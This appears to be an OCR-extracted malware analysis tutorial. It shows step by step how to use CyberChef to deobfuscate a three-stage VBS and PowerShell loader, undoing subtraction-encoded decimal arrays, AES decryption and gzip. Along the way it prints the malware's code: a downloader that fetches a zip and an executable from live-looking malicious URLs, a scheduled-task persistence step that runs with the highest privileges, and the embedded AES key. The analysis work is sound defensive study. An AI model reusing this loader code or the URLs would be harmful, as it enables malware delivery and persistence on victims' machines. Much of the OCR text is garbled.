RrB = RrB & Chr|(QbJ - qub Subtraction Operation
Next

End If
1kV = RrB

bvM()
yAq Array of Decimal Values

nv+F

qxt
yAq = Array(819,832,856,907,888,886,904,903,892,898,897,867,898,
895,892,886,908,819,872,897,869,888,902,903,901,892, 886,903,888,
887,819,870,903,884,901,903,832,867,901, 898,886, 888,902,902, 819,

In order to decode this component, we must
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o Use a Register to extract the subtraction value

o Use a Regular Expression to extract the decimal array

o Use Forking to Seperate each of the decimal values

o Use a regular expression to append the 787 value stored in our register.
e Apply a Subtract operation to produce ASCII charcodes

e Apply a "From Decimal" to produce the 2nd stage

» Use a Merge operation to enable analysis of the 2nd stage script.

Operation 1 - Extracting Subtraction Value

The initial subtraction value can be extracted with a register operation and regular
expression.

This must be done prior to additional analysis and decoding to ensure that the subtraction
value is stored inside of a register.

Recipe a [ ] i Input

A |Function 1kvV(ByVal yAq)

Register Dim Qb

Extractor B o
\w+ = (\d+) Case insensitive qqT = 787
O1im Ju
JuF = MAc(yAq)
[J Multiline matching [J pot matches all If JuF = 7000 + 1204 Then
For Each QbJ In yAq
Dim RrB
RrB = RrB & Chr(Qbl - qqT)
Next

$RO = 787

Regular expression N mec 10508 = 34

Operation 2 - Extracting the Decimal Array

The second step is to extract out the main decimal array using a regular expression and a
capture group.

The capture group ensures that we are isolating the decimal values and ignoring any script
content surrounding it.

This regex looks for decimals or commas [\d, ] of length 1000 or more {1000, }. That are
surrounded by round brackets \( and \).

The inner brackets without escapes form the capture group.
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Regular expression Q n

Built in reaexes

User defined

Regex

\(([\d,1{1000,})\)

Case insensitive A and $ match at newlines

D Dot matches all D Unicode support |:| Astral support

. Output format
(O pisplay total List capture groups v

Next

mec 10508 = 34

Output

819,832,856,907,888,886,904,903,892,898,
886,903 ,888,887,819,870,903,884,901,903,
888,826,819,832,874,892,897,887,898,906,
890,904,896,888,897,903,863,892,902,903,
888,907,888,819,823,855,909,907,885,819,
852,852,852,852,852,852,852,852,866,870,
901,908,891,895,901,906,894,884,861,837,
852,892,864,872,890,839,853,900,875,902,
870,863,860,853,858,867,867,867,875,830,
899,855,844,893,858,860,830,837,864,866,
909,904,860,891,852,889,874,864,907,888,
864,896,899,837,874,897,903,866,860,909,
902,899,887,864,869,842,889,884,860,884,
852,856,830,874,863,898,909,857,902,900,
862,863,909,897,840,844,904,842,864,860,
899.875.854.905.862.860.853.872.877.896.

Operation 3 - Seperating the Decimal Values

897,867,898,895,892,886,908,819,872,897,869
832,867,901,898,886,888,902,902,819,826,886
870,903,908,895,888,819,891,892, 887,887,888
819,910,834,886,819,899,898,906, 888,901,902
848,819,826,852,852,852,852,852,852,852,852
861,886,869,853,898,905,865,905,842,840,864
877,899,860,844,844,869,841,898,869, 838,839
873,900,853,908,897,838,859, 866, 844,864,906
895,841,873,867,906,858,839,908,877,858,899
866,892,906,889,889,893,897,839,844,844,852
865,895 ,864,854,856,863,855,841,852,852,899
875,876,871,900,908,877,899,843,902,837,874
894,876,887,875,875,809,843,857,893,854,889
904,854,884,860,854,891,885,837,838,841,886
888,836,897,899,890,890, 854,895, 887,909,872
907.903.873.884.886.835.865.894 901 .876.857

The third operation leverages a Fork to separate the decimal values and act on each of them

independently.

The Fork defines a delimiter at the commas present in the original code, and specifies a
Merge Delimiter of \n to improve readability.

) Qutput format mec 10508 = 34
[ pisplay total List capture groups
Output
Fork Q n 819
832
Split delimiter Merge delimiter D 856
s \n Ignore errors 907
888
886
g 1!
Find / Replace ® 904
903

Operation 4 - Appending the Subtraction Value

The fourth operation uses a regex find/replace to append the 787 value to the end of each

line created by the forking operation.

Note that we have used (. *) to capture the original decimal value, and have then used $1 to
access it again. The $R0 is used to access the register that can created in Operation 1.
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JIL UTHIILET IVITT YT WS el

|:| Ignore errors

’ \n

Find / Replace N
Find Replace
(.%) REGEX™ 41 $Re

D Global match D Case insensitive

Multiline matching |:| Dot matches all

Operation 5 - Subtracting the Values

Output

819 787
832 787
856 787
907 787
888 787
886 787
904 787
903 787
892 787
898 787
897 787

Al TIaT

We can now perform the subtraction operation after appending the 787 value in Operation 4.

This produces the original ASCII charcodes that form the second stage script.

Note that we have specified a space delimiter as this is what is between our decimal values

and subtraction value in operation 4.

Multiline matching |:| Dot matches all

Subtract Q N
Delimiter

Space

From Decimal O nu

Operation 6 - Decoding the ASCII Codes.

REC 1W5W5 = 39

Output

32
45
69
120
101
99
117
116
105
111

We can now decode the ASCII codes using a "From Decimal" operation.

This produces the original script. Though the values are separated via a newline due to our

previous Fork operation.
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b adbn

N

From Decimal Y

Delimiter .
Space |:| Support signed values
Merge O n

Merge Al

0OS O - =+ C O M X M

Operation 7 - Merging the Result

We now want to act on the new script in it's entirety, we do not want to act on each character
independently.

Hence, we will undo our forking operation by applying a Merge Operation and modifying the
"Merge Delimiter" of our previous fork to an empty space.

Fork & N
Split delimiter o
E Merae delimit... Ignore errors
Delimiter mec 18588 — 34
gpacé |:| Support signed values
Output
Merge Q n | -ExecutionPolicy UnRestricted Start-Process 'cmc

powershell.exe $Dzxb =
' AAAAAAAAAAAAAAAAAAAAADSI cRBovNv75MENPRQryhlrwka:
Merge All VPwGAy ZGppZHYPpD9FGI+2MO0iwffjnd99AN2tuTzuIhAfWMy
dXXp8FjCfqYobpAE+WLozFsquCaIChb236cebg9@KLzn59u7h
kKOx/37iXYEImXLHICFV+6cEIX712CmIjySbWEsnxfmeFnXzt
Register o n PWFujrtq5p6U6IqG3xMCAW2uI4FKmTp3TzgeAf8rloSbi3v0l
/2F822xR+TCQyrTCItfM+xKW7pzwsFSQf8prX60+3RtjXQLL
- . - /7A007bMWQgZDIEULYPIwYOV7 fueelei3dQ+dPcMXcPaqSBFn(
"([a-zA-70-9\=\+\/]{44})" B8 case insensitive /b3gLdTcmfbWDTYTa6VIQxXe+2v0121UMhXG7ENT1rYFi 3mE
/H2QtuHs fFk4AmH5xI0+Xh7mCUaBEDxbjlyci2XdmQEgKk3Bh¢

Stage 2 - Powershell Script With AES Encryption (8 Operations)

After 7 operations we have now uncovered a 2nd stage Powershell script that utilises AES
Encryption to unravel an additional stage.
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The key points in this script that are needed for decrypting are highlighted below.

Encoded Content

$Dzxb =|'AAAAAAAAAAAAAAAAAAAAAOSICcRBoOVNV75MENPRQryhlirwkal2ZpI99R60R340RB2TALIMUE4Bq

$sUcUPxU = 'dVdqd2RRTnlFbWilvdFNidFR3eEViQXJqQel3a2IWQ3M="; AES Key

$GDIXGNY New-Object 'System.Security.Cryptography.AesManaged’;

$GDIXGNY .Mode = [ ]: JECB; AES Mode

$GDIXGNY.Padding = [ ]::Zeros;
$GDIXGNY.BlockSize = 128;

$GDIXGNY .KeySize = 256;]

$GDIXGNY.Key = [ ]::FromBase64String($sUcUPxU);

$KPWOZ = [ ]::FromBase64String($Dzxb);

$LdCzhhCP = $KPwOZ[©@..15]; AES |V
$GDIXGNY.IV = $LdCzhhCP;

To Decode this stage, we must be able to

e Use Registers to Extract the AES Key

o Use Regex to extract the Base64 blob

e Decode the Base64 blob

o Use Registers to extract an Initialization Vector
 Remove the IV from the output

o Perform the AES Decryption, referencing our registers
e Use Regex to Remove Trailing NullBytes

o Perform a GZIP Decompression to unlock stage 3

Operation 8 - Extracting the AES Key

We must now extract the AES Key and store using a Register operation.

We can do this by applying a Register and creating a regex for base64 characters that are
exactly 44 characters in length and surrounded by single quotes. (We could also adjust this
to be a range from 42 to 46)

Now we have the AES key stored inside of the $R1 register.
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RrB = RrB & Chr(QbJ - qqT)

Register O n Next
mec 10508 = 34
Extractor . .
"([a-zA-Z0-9\=\+\/]1{44})" Case insensitive
Output
B LR T WU Y gAY Y UL LU NS LI L 1 STy ¢ L U L S
D Multiline matching D Dot matches all /H2QtuHs fFk4mH5xI0+Xh7mCUaBEDxbjlyci2XdmQEgKk3BhoSM6rzxul BEMTitUeRA

SHE1y8Qt53a70Hha+iabfnVMmecQHLh9boPs1AFTjCCrCvilwxYtLRNorscF/TXjcSG/
/x1TE9HDWoZIZ71Q0dqGex/XGIymHhoh8rSToxd4gtaA6S/JaTXc8acVeOLtkZgilSXs
/P78B0qIUnFYPr2g6siRgJluVyOrtj+Aatv51wTGF+tN@dTenFh2bdLxUaS72kZPrs5
2 DEF1M=";$sUcUPxU =
" ' dVdqd2RRTn1FbW1vdFNidFR3eEViQX1qQe13a2IWQ3M=";BGDIXGNY = New-Objec
"System.Security.Cryptography.AesManaged' ; $GDIXGNY.Mode =
[System.Security.Cryptography.CipherMode]: : ECB; $GDIXGNY .Padding =
[System.Security.Cryptography.PaddingMode]: : Zeros; $GDIXGNY.BlockSiz
256;$GDIXGNY.Key = [System.Convert]::FromBaseb64String($sUcUPxU) ;$KP
Req [System.Convert]: :FromBase64String($Dzxb);$LdCzhhCP = $KPwOZ[0..15]

[a-zA-70-9\=\+/]{100,] = $GDIXGNY.CreateDecryptor();$EcXHdQkBU = $wgkPqQHMD.TransformFinal
AR - dEMIYEMY NS enacal ) -¢TYNCEDVY - Maw_Nhaartd CQuetam TN MamanuCS+naaml

$R1 = dvdqd2RRTn1FbWlvdFNidFR3eEViQXJqQ@13a2IWQ3M=

Regular expression ®©

Operation 9 - Extracting the Base64 Blob

Now that we have the AES key, we can isolate the primary base64 blob that contains the
next stage of the Malware.

We can do this with a regular expression for Base64 text that is 100 or more characters in
length.

We're also making sure to change the output format to "List Matches", as we only want the
text that matches our regular expression.

RrB = RrB & Chr(Qb] - qqT)

Regular expression o n Next o
Built in reqexes DEED E & - Tr Raw Bytes < LF
User defined

Output R0 m::
Regex
[a-zA-Z0-9\=\+/]{100,} AAAAAAAAAAAAAAAAAAAAAOS I cRBovNV75MENPRQryhlrwkal2ZpI99R60R340RB2TAIMUg4BqXsVqByn3HO9MWRrSUISLIBGPPPX+16VPWG

AyZGppZHYPPDIFGI +2M00iwfFjna99AN2tuTzuThAFfiMxeN1MCELD6AApua7QkMmp2Wnt0I ZXYTqy Zp8s2WqI T8Hs pdMR7FalakYdXXp8F j
CfqYo6pAE+WLozFsquCaIChb236ce6g90KL zn59u7MIelnpggCldzUfPs6SpXCvKIBUZmxtVacONkrYFGASVFgDOvzdMbHGYrkKox/3jixXyY
% EImXLH1CFV+6cEIX7I2CmIjySbWEsnxfmeF nXzuzSsWMosUAPD+bMGDRnardA8F++LpiawRe71CAhHGehCESZOEPa4iEHOPWFujrtq5p6U6
1qG3xMCAW2uI4FKmTp3TzgeAf8rloSbi3vOI8vHBF58dg00lCImHtz4W3MjLXhZcvk+freodli7ItH1k7pgjWgadQ
/2F822xR+TCQyrTCItfM+xKVW7pzwsFSQf8prX60+3RtjXQLDdgdzOvrZVIW2ZmS2F
/7A007bMWQgZDIEU1YPIwYOV7 fueeOei3Q+dPcMXcPaqSBFnOvOULZ3dINi2P1Yd1m3X8oQjp
/b3gLdIcmfbWDTYTa6VIQxXe+2v@121UMjhXG7EN71rYFi3mBKLpeUqg+2gDm7vIiXqHdtitVOnw30nzK6YGGIrTTS7HIE3NgqUIVX
/H2QtuHs FFkAmH5x10+Xh7mCUaBEDxb] 1y ci2XdmQEgKk3BhoSM6rzxul BEMTi tUeRAAFqgafDF fgy4 ImOmKBADWKYF jWH7pOLX2Mb2ASHE
[ pot matches all  [] Unicode support [[] Astral support 1y8Qt53a70Hha+ia6fnVMmecQHLh9boPs1AFTFCCrCviwxYtLRNorscF/TXjcSG/dgCijUa8usFxexU1CEHL1AdXUCHMISYVZNbXF
/xiTE9HDWoZIZ1Q0dqGox/XGIymHhOh8rSToxd4gtaA6S/JaTfXc8acVOLtkZgilSXsach8Ux+zz0Omw
Output format /P78B0OqIUnFYPr2q6siRglouVyOrtj+Aatv51wTGF+tN@dTenFh2bdLxUaS72kZPrs5INM1jhh8Udr+WxPHCzB8Rpb7HF3yboN
D Display total List matches /547tzulbz1KQWaK2qLASGA7tGc+y01i]6wZHX8EivwQsyUrD6F1M=

Case insensitive A and $ match at newlines

Operation 10 - Decoding The Base64

This is a straightforward operation to decode the Base64 blob prior to the main AES
Decryption.
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R0 mE::

180" h%400EEM="+E“kAF e UeH:0z  “@9%vL" oR*"@O{ " *§Us%3%KIBR, e F<Gx(i"e 2" Ee@YeP>eyeb>PAe e Ren=5%

From Base64

Alphabet

A-Za-z0-9+/= AeY)10peF@UiT8exa: 2fe, U e0AI¥0%18e jF]Z| %0000 93%E® ¢heX-éC2eY
_%
=0} X[£OUL§Y: " - AAe [keaR |NeOI% s e E3;&EPGOAA e 0 8% % 00
Remove non-alphabet chars D Strict mode i | pGOINY5D, 7" w=/=+_[FFKasis413%B5CEES 00" Einge

é 80%6%kYHCPiikd s iT28W 24170 -2 ¢éyI%0n2id "~ VI+UD | 7: |Ee o™ "OKE™
5" ©00_oBUs+idaatiAe% @ Fe'<[o\oseVe *MAses&%i, °D18+Qa@40 40A~"  &OF (A ) %o ali§OXPES™ | Ax/% - sUiAdkeéud2ge
© @rad2=3PN@e~+0A%--h®Cny5aq! ¢ vid sM<»Aq{%"AED"%qP) | 1&/d0xeiibLOG%j* ! «PUe« 1%%ad e£%xe0eE/Ei7xsheWBIee"
«%iiE|S%2160(ipii% I eRGX>%2EE » « eni#«Y? ¢ JOUXA%EMAOP « XvmORQH» UFOPI T4 T c o v ¢ « ARAT % ¥HC e | +6BUA S e Gkt he?, =
FanFsie0"zAeAdH A 2R°0%S

Operation 11 - Extracting Initialization Vector

The first 16 bytes of the current data form the initialization vector for the AES decryption.

We can extract this using another Register operation and specifiying . {167} to grab the first
16 characters from the current blob of data.

output © %] I—|:| M o

Register L o ~ . . -
«qWh%0UEEM="+E “KAF s UeH:0z %4@{% " ":§Us%3%KIBR, s F<Gx("e 2% Ee@Y o> ey ob>PAe o™ Ron=5"
Extractor : |%0e@e : >X23%E® ¢e%-EC20Y
(.{16}) Case insensitive “BA\saNU~A 26
X[£202§¥: " -AAe [keaR|N+OT*
|:| Multiline matching D Dot matches all
. Ax/*%- «UiAdkeséu02ge
| $R2 = WRMMARMAARANAYYY I @race 3PN OA™--"h®Cy5aq! ¢ vid eM<HAq{n%"AED"GP) | | &/dOx«iibLOG ™! «P e£5xe006/Ei7xsheWBIes"
%1iE|S bii*J+RgX>%2&E « « eni#«9? o OUX“L%EMNOP « XvmOiiQH»UFO®TT4T c o Co | +0BUaes . eGelhe2,

FanFsie0"zAsABH A"2R°G%S
Q

We know that these bytes are the IV, due to this code in the original script.

Note how the first 16 bytes are taken after base64 decoding, and then this is set to the IV.

$KPWOZ = ]: :FromBase64String($Dzxb);
$LdCzhhCP = $KPwOZ[O..15];

$GDIXGNY.IV = $LdCzhhCP;

IV is set to first 16 bytes

Operation 12 - Dropping the Initial 16 Bytes

The initial 16 bytes are ignored when the actual AES decryption process takes place.

Hence we need to remove them by using a Drop Bytes Operation with a length of 16.

Output
Drop bytes
deqh%00aEM="+E~KAF «UsH:07 | %@9% VL «R*%0{" " =§Usk3"KIBR, e F<Gxi*e 2% Eo@¥a>:
st e : %)20DeEQUii8exa:2fe,Uje0ALYONIBejF5]Z] %000 :Ha>X23HES  ¢hak.EC20Y
(2] 16 + E]znnﬂytoea(hhne

/9udillig) *eU0|h: A% Qe2pVeDU+ Q. IQ “EGLACHea+Lsb8e BF\1d%U~éA _26
b#E e O%Efimges | 1T4720%a8b1Ae Fyect = %0860~ { 1Bz 0 Lo o=0"" }uX [ £801§Y¥: " - AAs [}
SSUEEAW\40e 085&. E " }die#7'%eCy e omGAAC*0% o _31IUMNET “%I% (i | piOifigsp, 7 w=/ss_[
9&-CcOpAU=2+"YT ;0 gwI6-+0susuii|=Ey%a-0%e60%6"kYHCDlkde i T28W 451 7% -2 ¢ E)
s @00_noBUe+fidaaife% @ Fe'i<[o\ooeVes *MAseeelki, °D18+Q5@a0 a0A~% &of(“A!
@rades 2 PwNee-+dA% - -<h®Chy5aq! s v «M<nAq{"%-AEO0%qP) | 1&/d0x«iibLOG=j* ! «Pilje(
o%1iE|S%216%ipii"T eRqX>%2EE o » el «9? o Ul EMAOD « XymORQU» UFOPTT4T c o v o A
FanFsie0"zAe«AdH A%2R°G%S

®
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We know this is the case because the script begins the decryption from an offset of 16 from
the data.

$wgkPqQHMD = $GDIXGNY.CreateDecryptor();

$ECcXHdQkBU = $wgkPgQHMD.TransformFinalBlock ($KPwOZ, 16, $KPwOZ.Length - 16);

This can be confirmed with the official documentation for TransformFinalBlock.

™ Copy

[1 TransformFinalBlock ( [1 inputBuffer, inputOffset,
inputCount);

Operation 13 - AES Decryption

Now that the Key and IV for the AES Decryption have been extracted and stored in registers,
we can go ahead and apply an AES Decrypt operation.

Note how we can access our key and IV via the $R1 and $R2 registers that were previously
created. We do not need to specify a key here.

(Also note that we do need to specify base64 and utf8 for the key and IV respectively, as
these were their formats at the time where we extracted them)

Output 4~
AES Decrypt
o WO T Tme (8% p+O* O pA%Y ™ o tpE™. :OVERTL e e es’
| 1» [6PAO« FGUY¥0e 2o iPYF§DH TN Co 1% e Akie o "0 %422 b-x*pe 4!
BASEG4 ~ UTF8 ~

$R1 $R2 “8t |HY Yk s (shzsle j ot e c&O% - EH- E~pTos] R™3ID%0VI%Q;
AGe%u% IR! "EweCA_At ~e axnAedn[KnFIVi<EATe™ UA%i53F

Mode nput Output tiagemii } «Umalye e - s NCRU¥ %o =axx e *K | §502%Qwe iCe °fibkbs | g

ECB Raw Raw SX%e o RE%OX: %, O | % “1ne0}20=y*Q/ SAUAAGH g + ©2BNBE" 0«
©g®PCbVE » - %k §i%0IP%I0 s COULHUNI e % 1S+ I&F - UTK #%0YS2g)

Q WO [efimx ejee3%znS=0]Sea7u¢FyU¥¥it «%-Qni35¢ 00~

25h00®]+0]G* 0«2 TOAY [+Twd3Eu pleded¢CFe |z, eEGIhGeTSTIA

. _ I __ _ _— .
$GDIXGNY = New-Object 'System.Security.Cryptography.AesManaged’;

$GDIXGNY .Mode = 1: :ECB;
$GDIXGNY.Padding = [ ]::Zeros;
$GDJXGNY Block51ze = 128;
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Operation 14 - Removing Trailing Null Bytes

The current data after AES Decryption is compressed using GZIP.

However, Gunzip fails to execute due to some random nullbytes that are present at the end

of the data after AES Decryption.

©g®PCbVEs-%k§i%09P%I0« ¢ Cou'ftUUe =1%o (&F - SUTK #0YS2g70e s awS¢01e+0Q] e YUY 2 e ¥HN gt 00" UPs «A%] "lis emA: ¢ 8EG/ 0 »

WO [efimx e jee34@nSu0]SeE7ud¢FylYYit™ «%-Qn35¢ 00~

nnnnnn

Bobboadnl |G [%«2 TOAY[+1wd38u 'plededdCFe |z o 8UI0eT.TI%- o TU-EnB[*}, $Pu*000eH%E%+7 } "kkiis LE« EER ) =% Cij" o 000"

Operation 14 involves removing these trailing null bytes using a Regular expression for "one

or more null bytes \O+ at the end of the data $"

We will leave the "Replace" value empty as we just want to remove the trailing null bytes.

Find / Replace 8 M
Find
\0+$ REGEX ~ Replace

Global match |: Case insensitive

Multiline matching |:| Dot matches all

- . A1

Operation 15 - GZIP Decompression

|u;.|

|
"8
AG+
ua*
oXJ
@gt

L |

We can now apply a Gunzip operation to perform the GZIP Decompression.

This will reveal stage 3 of the malicious content, which is another powershell script.
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Output

Multiline matching D Dot matches all
function QtR($kBv, $LMY){[I0.File]: :WrifeAllBytes($kBv, $LMY)};func
($kBv.EndsWith('.zip') -eq $True){$fwefl = '\' + (Get-Item $kBv).Bas
Gunzip $MeT $fwef;Expand-Archive -Path $kBv -DestinationPath $fghrth; $Scr
($ghyth -eq 1){mv -Path $kBv -Destinatipn $fghrth; $kBv = Join-Path
(New-ScheduledTaskAction -Execute $kBv)E$Trigger = New-ScheduledTas

N ScheduledTask -TaskName "BackgroundCheck" -Action $Action -Trigger
-Force;Start $kBv}};function WTk($Wxf){$PSt = New-Object (wva
@(4352,4375,4390,4320,4361,4375,4372,4341,4382,4379,4375,4384,4390)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocol
$PSt.DownloadData($Wxf) ;return $LMY}; function wva($RSx){$SHY=4274;%
$RSx){$Ivo+=[char]($dnH-$SHY)};return $Ivo};function tRx(){$MeT = $
$env:AppData;$OMbNkOp = $aFMWmHEZ + '\';If(Test-Path -Path $OMbNkOp

Note that we know Gzip was used as it is referenced in stage 2 after the AES Decryption
process.

$GDIXGNY.Dispose();
$1XDSPY = New-Object System.IO.MemoryStream( , $EcXHdQkBU );
$dYmjzG = New-Object System.IO.MemoryStream;

$PcRmtDxrk = New-Object System.IO.Compression.GzipStream $1XDSPY, ([
$1XDSPY.Close();

[1] $EygGSe = $dYmjzG.ToArray();$pQiMRyM = [

Stage 3 - Powershell Script (7 Operations)

We now have a stage 3 powershell script that leverages a very similar technique to stage 1.

The obfuscated data is again stored in large decimal arrays, of which the number 4274 is
subtracted from each value.

Note that in this case, there are 4 total arrays of integers.

if ($ghyth -eq 1){mv -Path $kBv -Destination $fghrth;
$kBv = Join-Path $fghrth infosecpad.exe};
$Action = (New-ScheduledTaskAction -Execute $kBv);
$Trigger = New-ScheduledTaskTrigger -AtLogOn;
Register-ScheduledTask -TaskName "BackgroundCheck" -Action $Action -Trigger $Trigger -R
Start $kBv}};

WTk ($WxF){$PSt = New-Object (wva (9(4352,4375,4390,4320,4361,4375,4372,4341,438

[ ]::SecurityProtocol = | |::TLS12;

$LMY = $PSt.DownloadData($wxf);

return $LMY}; Large Decimal Values and subtraction
wva($RSx) {$SHY=4274;4Ivo= 5 operation

foreach($dnH in $RSx){$Ivo+= $dnH-$SHY) };
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$mBZZ = $MeT + 'Tranch.zip';
if (Test-Path -Path $mBzZZ){sri $mBZZ;
}Else{ $uHSpZ = WTk (wva @(4378,4390,4390,4386,4389,4332,4321,4321,4388,4371,4375,4381,
QtR $mBZZ $uHSpZ;
sri $mBZZ;

}$poJF = $MeT + 'infosecpad.exe';
if (Test-Path -Path $poJF){sri $polF;
}JElse{ $szHmT = WTk (wva @(4378,4390,4390,4386,4389,4332,4321,4321,4388,4371,4375,4381,
QtR $polF $szHmT;
sri $polF;

To Decode stage 3, we must perform the following actions

o Use Registers to Extract The Subtraction Value

o Use Regex to extract the decimal arrays

o Use Forking to Separate the arrays

e Use another Fork to Separate the individual decimal values
+ Use a find/replace to append the subtraction value

¢ Perform the Subtraction

» Restore the text from the resulting ASCII codes

Operation 16 - Extracting The Subtraction Value with Registers

Ouir first step of stage 3 is to extract out the subtraction value and store it inside of a register.

We can do this by creating another register, and implementing a regular expression to
capture the value $sHY=4274. We can specify a dollar sign, followed by characters, followed
by equals, followed by integers, followed by a semicolon.

Making sure to apply a capture group (round brackets) to the decimal component, as this is
what we want to store and use later.

Register
Extractor
\$\w+=(\d+); Case insensitive
Multiline matching Dot matches all
$R3 = 4274
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Gunzip N

Output a
Register O mu
{function QtR($kBv, $LMY){[IO.File]::WriteAllBytes($kBv, $LMY)};function sri($kBv){if
Extractor ($kBv.EndsWith('.zip"') -eq $True){$fwef = '\" + (Get-Item $kBv).Basename; $Script:fghrth = Joi
\$\w+=(\d+); Case insensitive $MeT $fwef;Expand-Archive -Path $kBv -DestinationPath $fghrth; $Script:ghyth = 1; del $kBv}els
($ghyth -eq 1){mv -Path $kBv -Destination $fghrth; $kBv = Join-Path $fghrth infosecpad.exe};$A
(New-ScheduledTaskAction -Execute $kBv);$Trigger = New-ScheduledTaskTrigger -AtlLogOn;Register-
D Multiline matching DDOt matches all ScheduledTask -TaskName "BackgroundCheck" -Action $Action -Trigger $Trigger -RunLevel "Highest
-Force;Start $kBv}};function WTk($Wxf){$PSt = New-Object (wva
$R3 = 4274 @(4352,4375,4390,4320,4361,4375,4372,4341,4382,4379,4375,4384,4390) )
[Net.ServicePointManager]: :SecurityProtocol = [Net.SecuycityP olType]::TLS12;$LMY =

ata
$PSt.DownloadData($Wxf);return $LMY};function wva($RSx Ivo:$Nu11;For‘each($dnH in

$RSx) {$Ivo+=[char]($dnH-$SHY) }; return $Ivo};function tRX(){3MeT = Benv:AppData + '\';$aFMimHEZ
$env:AppData;$OMbNkOp = $aFMWmHEZ + '"\';If(Test-Path -Path $OMbNkOp){Invoke-Item $OMbNkOp;}Els
$0GleVy = WTk (wva @(4378,4390,4390,4386,4389,4332,4321,4321));0tR $0MbNkOp $0GleVy:Invoke-Ite

Registers to extract keys

Operation 17 - Extracting and Isolating the Decimal Arrays

Now that we have the subtraction key, we can go ahead and use a regular expression to
isolate the decimal arrays.

Here we have chosen a regex that looks for round brackets containing long sequences of
integers and commas (at least 30). The inside of the brackets have been converted to a
capture group by adding round brackets without escapes.

We have also selected "List Capture Groups" to list only the captured decimal values and
commas.

Dim RrB

Regular expression O n RrB = Rrg & Chr(0bJ - qaT)
Built in regexes _ _N?)ft
User defined msc 10508 = 34 Tr re
Rege: Output % ] r[
\(([\d, 1{30,})\)
4352,4375,4390,4320,4361,4375,4372,4341,4382,4379,4375,4384,4390
4378,4390,4390, 4386,4389,4332,4321, 4321
% 4378,4390,4390,4386,4389,4332,4321,4321,4388,4371,4375,4381,4375,4389,4389,4382,4375,4388,4320,
83,4321,4393,4386,4319,4373,4385,4384,4390,4375,4384,4300,4321,4391,4386,4382,4385,4371,4374,43
e ~ and § match at newlines ,4322,4324,4325,4321,4322,4326,4321,4358,4388,4371,4384,4373,4378, 4320, 4396,4379 4386

4378,4390,4390,4386,4389,4332,4321,4321,4388,4371,4375,4381,4375,4389,4389,4382,4375,4388,4320,
83,4321,4393,4386,4319,4373,4385,4384,43090,4375,4384,4300,4321,4391,4386,4382,4385,4371,4374,43

DD t tch I DU ot t DAt | + ,4322,4324,4325,4321,4322,4326,4321,4379,4384,4376,4385,4389,4375,4373,4386,4371,4374,4320,4375
ot matches a nicode suppor stral suppor

Output format

D Display total List capture aroups

Operation 18 - Separating the Arrays With Forking

We can now separate the decimal arrays by applying a fork operation.
The current arrays are separated by a newline, so we can specify this as our split delimiter.

In the interests of readability, we can specify our merge delimiter as a double newline. The
double newline does nothing except make the output easier to read.
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Fork S

Split delimiter Merge delimiter
\H \n\,n Ignore errors

mec 10508 = 34 Tr Raw Bytes & LF

Fork O mn
Output B |E] m o
Split delimiter Merae delimiter
\n \n\n Ognore errors l352,4375,4390,4320,4361,4375,4372,4341, 4382, 4379, 43754384, 4390
o o u 4378,4390,4390,4386,4389,4332,4321,4321
or
4378,4390,4390,4386,4389,4332,4321,4321,4388,4371,4375,4381,4375,4389, 4389, 4382, 4375, 4388, 4320,4373,4385,43
elim Trreeams 83,4321,4393,4386,4319,4373,4385,4384,4390,4375,4384,4390,4321,4391,4386,4382,4385,4371,4374,4389,4321,4324
o ,4322,4324,4325,4321,4322,4326,4321,4358,4388,4371,4384,4373,4378,4320,4396,4379, 4386
Find / Replace Q 4378,4390,4390,4386,4389,4332,4321,4321,4388,4371,4375,4381,4375,4389, 4389, 4382,4375,4388,4320,4373,4385,43
83,4321,4393,4386,4319,4373,4385,4384,4390,4375,4384,4390,4321,4391,4386,4382,4385,4371,4374,4389,4321,4324
,4322,4324,4325,4321,4322,4326,4321,4379, 4384, 4376, 4385, 4389, 4375,4373,4386,4371,4374,4320,4375,4394,4375

Operation 19 - Separating the Decimal Values With another Fork

Now that we've isolated the arrays, we need to isolate the individual integer values so that
we can append the subtraction value.

We can do this with another Fork operation, specifying a comma delimiter (as this is what
separates our decimal values) and a merge delimiter of newline. Again, this newline does
nothing but improve readability.

mc 10508 = 34 Tr Raw Bytes < LF

Output B |E] m o
Split delimiter Merage delimiter

\n \n\n D Ignore errors 352 ~
4375
- 4390
Fork O n 1320
4361
4375
4372
4341
" 4382
4379
4375

41 3R i N
4390
(] Global match [ case insensitive v 4378

=R v
Operation 20 - Appending Subtraction Values

Fork Qn

Split delimiter Merae delimiter

\n |:| Ignore errors

Find / Replace S

Arrays are separated by double newline

With the decimal values isolated, we can go ahead and use a previous techniquq to capture
each line and append the subtraction key that is currently stored in $R3.

Here we can see the subtraction key appended to each line containing a decimal value.
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Find / Replace

Find

(.*)

REGEX ~
|:| Global match

Multiline matching

Subtract

Replace

$1 $R3

|:| Case insensitive

|:| Dot matches all

mec 18588

Output

352
4375
4390
4320
4361
4375
4372
4341
4382
4379
4375
4384
4390

Operation 21 - Applying the Subtraction Operation

4274
4274
4274
4274
4274
4274
4274
4274
4274
4274
4274
4274
4274

34

We can now apply a subtract operation to subtract the value appended in the previous step.

This restores the original ascii charcodes so that we can decode them in the next step.

|:| Global match

Multiline matching

|:| Case insensitive

|:| Dot matches all

Subtract

Delimiter

Space

From Decimal

>pace

Operation 22 - Decoding the ASCII Codes

©

| | Support signed values

Output
78

1e1
116
46
87
101
98
67
108
105
le1l
110
116

ASCI| codes
restored.

With the ASCII codes restored in their original decimal form, we can apply a from decimal

operation to restore the original text.

Here we can see the Net.Webclient string, albeit it is spaced out over newlines due to our

forking operation.
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[ Global match [ case insensitive Output
N
Multiline matching (] pot matches all :
W
Subtract Q u .
Delimiter b
Space (1:
i
From Decimal Q1 e
n
Delimiter t
Space |:| Support signed values

STEP ¥ BAKE! o

Final Result - Extracting Malicious URL's

+ + =

Now that the content is decoded, we can go ahead and remove the readability step that we

added in Operation 19.

That is, we can remove the Merge Delimter that was added to improve the readability of

steps 20 and 21.

Fork

Split delimiter

2}

Merge delimit...

Q I

Ignore errors

With the Merge Delimiter removed, The output of the four decimal arrays will now be

displayed.
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For Each QbJ In yAq

Find / Replace Q n Dim RrB
RrB = RrB & Chr(QbJ - qqT)
Find Repl
(W *) REGEX ~ $1 $R3 _ Next
' s 10508 = 34
|:| Global match |:| Case insensitive Output
Net.WebClient
Multiline matching |:| Dot matches all https://
https://raekessler.com/wp-content/uploads/2023/@4/Tranch.zip
Subtract Qn
Delimiter https://raekessler.com/wp-content/uploads/2023/04/infosecpad.exe
Space
From Decimal O n
Delimiter
Space D Support signed values

Video WalkThrough

https://youtu.be/Clg4dTXFJRKO
